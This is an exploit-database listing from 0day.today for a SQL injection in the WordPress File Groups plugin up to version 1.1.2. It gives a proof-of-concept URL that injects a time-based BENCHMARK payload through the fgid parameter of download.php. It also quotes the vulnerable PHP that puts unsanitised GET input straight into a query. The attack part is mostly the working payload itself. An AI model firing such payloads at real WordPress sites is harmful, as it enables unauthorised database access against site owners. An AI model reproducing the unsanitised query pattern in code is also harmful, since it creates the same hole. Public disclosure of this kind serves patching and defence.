WordPress File Groups plugin <= 1.1.2 SQL Injection Vulnerability

2011-08-17T00:00:00
ID 1337DAY-ID-16705
Type zdt
Reporter Miroslav Stampar
Modified 2011-08-17T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            # Exploit Title: WordPress File Groups plugin <= 1.1.2 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/file-groups.1.1.2.zip
# Version: 1.1.2 (tested)
 
---
PoC
---
http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))
 
---------------
Vulnerable code
---------------
$fgid = $_GET['fgid'];
 
...
 
$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");



#  0day.today [2018-01-02]  #